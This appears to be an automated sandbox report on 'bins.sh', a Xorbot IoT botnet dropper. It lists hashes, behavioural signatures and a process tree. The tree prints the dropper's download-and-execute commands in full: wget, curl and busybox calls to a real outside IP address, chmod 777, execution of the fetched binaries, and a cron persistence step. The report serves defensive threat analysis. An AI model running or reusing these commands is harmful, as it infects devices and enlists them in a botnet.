Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21-02-2025 04:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    cc2191a763e621830152daace1ff8b72

  • SHA1

    1d09d1c3a6d6dfb3193cc43853a84f9b4ba56bb8

  • SHA256

    369b1cf4b5464e82f79d62e5d9152c36a8cb04946f9ee995a36ee8d59505605d

  • SHA512

    1195a922572eb4a7a7ff70ea9c8a37dedc06fb1d940dc2405b8fc3d8d05f64c72e614d96ef630702c08451cc939cb8c5a09484e2344c3bb32849022ab25381c8

  • SSDEEP

    192:LZsEG6GyGdGEGoGcvRhWOc6xG6GyGdGEGoGU/:LavNlkvbcvRhWtNlkvbU/

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1878) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:666
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:674
      • /usr/bin/wget
        wget http://37.44.238.88/bins/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        2⤵
        • Writes file to tmp directory
        PID:675
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:683
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        2⤵
        • Writes file to tmp directory
        PID:692
      • /bin/chmod
        chmod 777 iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        2⤵
        • File and Directory Permissions Modification
        PID:694
      • /tmp/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        ./iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
        2⤵
          PID:696
        • /bin/rm
          rm iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY
          2⤵
            PID:698
          • /usr/bin/wget
            wget http://37.44.238.88/bins/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            2⤵
            • Writes file to tmp directory
            PID:699
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:703
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            2⤵
            • Writes file to tmp directory
            PID:705
          • /bin/chmod
            chmod 777 1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            2⤵
            • File and Directory Permissions Modification
            PID:707
          • /tmp/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            ./1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
            2⤵
              PID:708
            • /bin/rm
              rm 1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC
              2⤵
                PID:711
              • /usr/bin/wget
                wget http://37.44.238.88/bins/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                2⤵
                • Writes file to tmp directory
                PID:712
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:713
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                2⤵
                • Writes file to tmp directory
                PID:714
              • /bin/chmod
                chmod 777 pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                2⤵
                • File and Directory Permissions Modification
                PID:715
              • /tmp/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                ./pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                2⤵
                  PID:716
                • /bin/rm
                  rm pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6
                  2⤵
                    PID:718
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    2⤵
                    • Writes file to tmp directory
                    PID:719
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:720
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    2⤵
                    • Writes file to tmp directory
                    PID:723
                  • /bin/chmod
                    chmod 777 nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    2⤵
                    • File and Directory Permissions Modification
                    PID:726
                  • /tmp/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    ./nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                    2⤵
                      PID:727
                    • /bin/rm
                      rm nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0
                      2⤵
                        PID:729
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU
                        2⤵
                        • Writes file to tmp directory
                        PID:731
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:734
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU
                        2⤵
                        • Writes file to tmp directory
                        PID:738
                      • /bin/chmod
                        chmod 777 0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU
                        2⤵
                        • File and Directory Permissions Modification
                        PID:740
                      • /tmp/0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU
                        ./0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        PID:742
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:744
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:745
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:746
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:748
                            • /bin/rm
                              rm 0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU
                              2⤵
                                PID:752
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/9dkPp4Zj59y3Aaj2JmPDf5T6yyss85Bdk2
                                2⤵
                                  PID:756
                                • /usr/bin/curl
                                  curl -O http://37.44.238.88/bins/9dkPp4Zj59y3Aaj2JmPDf5T6yyss85Bdk2
                                  2⤵
                                    PID:837
                                  • /bin/busybox
                                    /bin/busybox wget http://37.44.238.88/bins/9dkPp4Zj59y3Aaj2JmPDf5T6yyss85Bdk2
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:853
                                  • /bin/chmod
                                    chmod 777 9dkPp4Zj59y3Aaj2JmPDf5T6yyss85Bdk2
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:855
                                  • /tmp/9dkPp4Zj59y3Aaj2JmPDf5T6yyss85Bdk2
                                    ./9dkPp4Zj59y3Aaj2JmPDf5T6yyss85Bdk2
                                    2⤵
                                      PID:857
                                    • /bin/rm
                                      rm 9dkPp4Zj59y3Aaj2JmPDf5T6yyss85Bdk2
                                      2⤵
                                        PID:859
                                      • /usr/bin/wget
                                        wget http://37.44.238.88/bins/kJxSQqK50Pr8e5xHxgdxPK8pUDzqrA0lhR
                                        2⤵
                                          PID:861
                                        • /usr/bin/curl
                                          curl -O http://37.44.238.88/bins/kJxSQqK50Pr8e5xHxgdxPK8pUDzqrA0lhR
                                          2⤵
                                            PID:862
                                          • /bin/busybox
                                            /bin/busybox wget http://37.44.238.88/bins/kJxSQqK50Pr8e5xHxgdxPK8pUDzqrA0lhR
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:864
                                          • /bin/chmod
                                            chmod 777 kJxSQqK50Pr8e5xHxgdxPK8pUDzqrA0lhR
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:866
                                          • /tmp/kJxSQqK50Pr8e5xHxgdxPK8pUDzqrA0lhR
                                            ./kJxSQqK50Pr8e5xHxgdxPK8pUDzqrA0lhR
                                            2⤵
                                              PID:867
                                            • /bin/rm
                                              rm kJxSQqK50Pr8e5xHxgdxPK8pUDzqrA0lhR
                                              2⤵
                                                PID:868
                                              • /usr/bin/wget
                                                wget http://37.44.238.88/bins/orMwtfQ7KxlFqzXfqb0XoCeipJoYuvoTZY
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:870

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/0e5OgdR6l4TkmToC3Owby6Kr82fF7aU7NU

                                              Filesize

                                              127KB

                                              MD5

                                              89077b7bd4bcafca7713be43635c4862

                                              SHA1

                                              fc02edb8fba29ea8ee99e6157ef8560334530052

                                              SHA256

                                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                              SHA512

                                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                            • /tmp/1FfKQ91nS2uj30KgfRWmSteEIUP39AG9MC

                                              Filesize

                                              111KB

                                              MD5

                                              ca897a38f23ec23521ce0b1b83f8422d

                                              SHA1

                                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                              SHA256

                                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                              SHA512

                                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                            • /tmp/9dkPp4Zj59y3Aaj2JmPDf5T6yyss85Bdk2

                                              Filesize

                                              99KB

                                              MD5

                                              9438d9bc392bcf300a5583b6df5bc8f6

                                              SHA1

                                              375a6ae34b516f6f3eeea8030c4084f585017efa

                                              SHA256

                                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                              SHA512

                                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                            • /tmp/iMMKLVt95yRIAgrTk9DZD7wzoVa0TrkwgY

                                              Filesize

                                              151KB

                                              MD5

                                              6c583043d91c55aa470c08c87058e917

                                              SHA1

                                              abf65a5b9bba69980278ad09356e53de8bb89439

                                              SHA256

                                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                              SHA512

                                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                            • /tmp/kJxSQqK50Pr8e5xHxgdxPK8pUDzqrA0lhR

                                              Filesize

                                              177KB

                                              MD5

                                              786d75a158fe731feca3880f436082c0

                                              SHA1

                                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                              SHA256

                                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                              SHA512

                                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                            • /tmp/nBguOdUoIaOt55bKBScDaOBPYJr8ScmkC0

                                              Filesize

                                              112KB

                                              MD5

                                              05d7857dcead18bbd86d2935f591873c

                                              SHA1

                                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                                              SHA256

                                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                              SHA512

                                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                            • /tmp/pNBd7bf1BlXic2JvWtVC1rCLWDoVTNlJg6

                                              Filesize

                                              122KB

                                              MD5

                                              cd3d4b9c643e5b473fb4d88ed05f0716

                                              SHA1

                                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                                              SHA256

                                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                              SHA512

                                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                            • /var/spool/cron/crontabs/tmp.VLnMY6

                                              Filesize

                                              210B

                                              MD5

                                              67d25a0978a2849f4942ca35ca265d81

                                              SHA1

                                              68c033034fee3fc4e931bcdc91212915f32da281

                                              SHA256

                                              da704ba347eaee0e357fc6ec57ce0113cd9ddf41644b5a620727a83996804cef

                                              SHA512

                                              be57e487914ebb418afa53f9f398e0b3ed4cfe9495b584f5bd332ce1c77bb25578c8509dabb87f72ca0464aef2031cac2134e46b43f02bc8e92d21063f2ff2e8